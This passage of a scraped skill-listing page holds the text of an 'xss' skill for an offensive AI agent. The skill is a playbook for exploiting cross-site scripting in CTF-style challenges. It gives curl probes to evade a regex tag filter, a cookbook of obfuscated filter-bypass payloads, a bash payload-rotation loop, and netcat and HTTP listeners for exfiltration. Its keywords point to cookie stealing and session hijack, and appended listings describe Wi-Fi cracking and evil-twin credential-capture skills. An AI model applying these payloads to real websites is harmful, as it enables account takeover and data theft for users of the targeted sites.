`\u002Freport`, `\u002Fcontact`, `\u002Fvisit` endpoints (404 on Cross challenges)\n- `python3 -m http.server` listeners (no bot will callback)\n- `document.cookie` exfiltration (cookie setter is frozen — signals Pattern B environment)\n\n## Partial-Range Tag Filter Bypass\n\nSome Cross challenges (e.g., filter-bypass example) use a regex like `\u003C[a-yA-Y\u002F]+` that blocks `\u003C` followed by letters a–y \u002F A–Y but excludes z\u002FZ. Probe and bypass:\n\n```bash\n# Probe whether tag-name first char escapes the filter\ncurl -sg \"$TARGET\u002Fpage?name=\u003Ca>\"     | grep -i \"sorry\"   # likely blocked (a in range)\ncurl -sg \"$TARGET\u002Fpage?name=\u003Cz>\"     | grep -i \"sorry\"   # not blocked = z escapes\ncurl -sg \"$TARGET\u002Fpage?name=\u003CZ>\"     | grep -i \"sorry\"   # check uppercase Z\ncurl -sg \"$TARGET\u002Fpage?name=\u003C img>\"  | grep -i \"sorry\"   # space after `\u003C` may bypass\n\n# Once a non-blocked first-char is found, build payload with valid HTML tag.\n# PhantomJS treats unknown tag names as elements; event handlers still fire on\n# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):\n#   \u003CZ onerror=alert(\"XSS\") src=x>\n#   \u003CZsvg onload=alert(\"XSS\")>\n# If unknown tags don't fire events, use `\u003Csvg\u002Fonload=...>` style with the\n# regex-escaping prefix in front: e.g. some filters with `+` quantifier let\n# `\u003C>` (zero letters) slip through followed by `\u003Csvg ...>` later in the same\n# attribute — test both placements.\n```\n\nKey insight: `re.findall` + `+` quantifier requires ≥1 matching char immediately after `\u003C`. Any first character outside the class (digits, whitespace, `z`\u002F`Z`, special chars) bypasses the regex entirely.\n\n## Filter Bypass Cookbook\n\nWhen basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:\n\n| Filter blocks | Bypass class | Example payloads |\n|---|---|---|\n| `\u003Cscript>` tag | Event handler on any element | `\u003Csvg onload=alert(1)>`, `\u003Cinput autofocus onfocus=alert(1)>`, `\u003Cdetails open ontoggle=alert(1)>` |\n| `alert` keyword | Property access \u002F obfuscation | `window['ale'+'rt'](1)`, `(()=>alert)()(1)`, `top[\u002Fal\u002F.source+\u002Fert\u002F.source](1)` |\n| Quotes `\"` and `'` | Template literals \u002F charcode | `` \u003Csvg onload=alert`1`> ``, `\u003Cimg src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>` |\n| `(` and `)` | Template literal call | `` \u003Csvg onload=alert`1`> ``, `` setTimeout`alert\\x281\\x29` `` |\n| `alert()` overridden by prototype | iframe srcdoc \u002F new window | `\u003Ciframe srcdoc=\"\u003Cscript>parent.alert(1)\u003C\u002Fscript>\">`, `\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>` |\n| Tag whitelist (specific tags only) | Style\u002FCSS injection | `\u003Cdiv style=\"background:url('javascript:alert(1)')\">` |\n| Angle brackets `\u003C` `>` | Inject into existing JS context | `';alert(1);\u002F\u002F`, `\"-alert(1)-\"`, `\\`;alert(1);\u002F\u002F` |\n| Prototype chain hardened | Direct assignment | `Object.prototype.toString=alert` |\n\n**Pivot rule**: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.\n\n## Bypass-Class Rotation Rule\n\nThe pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.\n\n**Track classes in `exploit\u002Fxss_classes.txt`**:\n\n```bash\n# Before each payload attempt\nCLASS=\"event-handler\"   # name of bypass class for this payload\nNTRIED=$(grep -c \"^${CLASS}$\" exploit\u002Fxss_classes.txt 2>\u002Fdev\u002Fnull || echo 0)\nif [ \"$NTRIED\" -ge 2 ]; then\n  echo \"SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class\"\nelse\n  echo \"${CLASS}\" >> exploit\u002Fxss_classes.txt\n  # ... craft and send payload ...\nfi\n```\n\n**Bypass classes to rotate among (try at least 4 per endpoint)**:\n\n| # | Class name | Representative payloads |\n|---|---|---|\n| 1 | `tag-based` | `\u003Cscript>`, `\u003Csvg>`, `\u003Cimg onerror=>` |\n| 2 | `event-handler` | `onload`, `onerror`, `onfocus autofocus`, `ontoggle` |\n| 3 | `javascript-url` | `\u003Ca href=\"javascript:...\">`, `\u003Ciframe src=\"javascript:...\">` |\n| 4 | `template-literal` | `` alert`1` ``, `String.fromCharCode(...)`, hex\u002Funicode escapes |\n| 5 | `iframe-srcdoc` | `\u003Ciframe srcdoc=\"\u003Cscript>parent.alert(1)\u003C\u002Fscript>\">` |\n| 6 | `css-style` | `\u003Cdiv style=\"background:url('javascript:...')\">`, `expression(...)` |\n| 7 | `js-context-inject` | `';alert(1);\u002F\u002F`, `\"-alert(1)-\"`, inject into existing script block |\n| 8 | `prototype-abuse` | `Object.prototype.toString=alert`, DOM clobbering |\n\n**Why class-diversity beats deeper iteration**: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.\n\n**HARD RULE**: If `exploit\u002Fxss_classes.txt` shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write `exploit\u002FCONVERGED.md` and return to orchestrator.\n\n## Tools\n| Tool | Purpose |\n|------|---------|\n| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |\n| nc -lvnp | Netcat listener for raw data (Pattern A only) |\n| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |\n| XSStrike | Automated XSS detection with WAF bypass |\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, xss, injection, client-side, cross-site-scripting","execution","xss, cross-site scripting, reflected xss, stored xss, dom xss, javascript injection, cookie steal, script injection, Cross, cross site, alert, onerror, onload, img src, svg onload, bot visit, report url, admin cookie, session hijack, csp bypass, html injection","T1189, T1059.007","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fxss",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill xss",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill xss",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill xss","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fxss\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]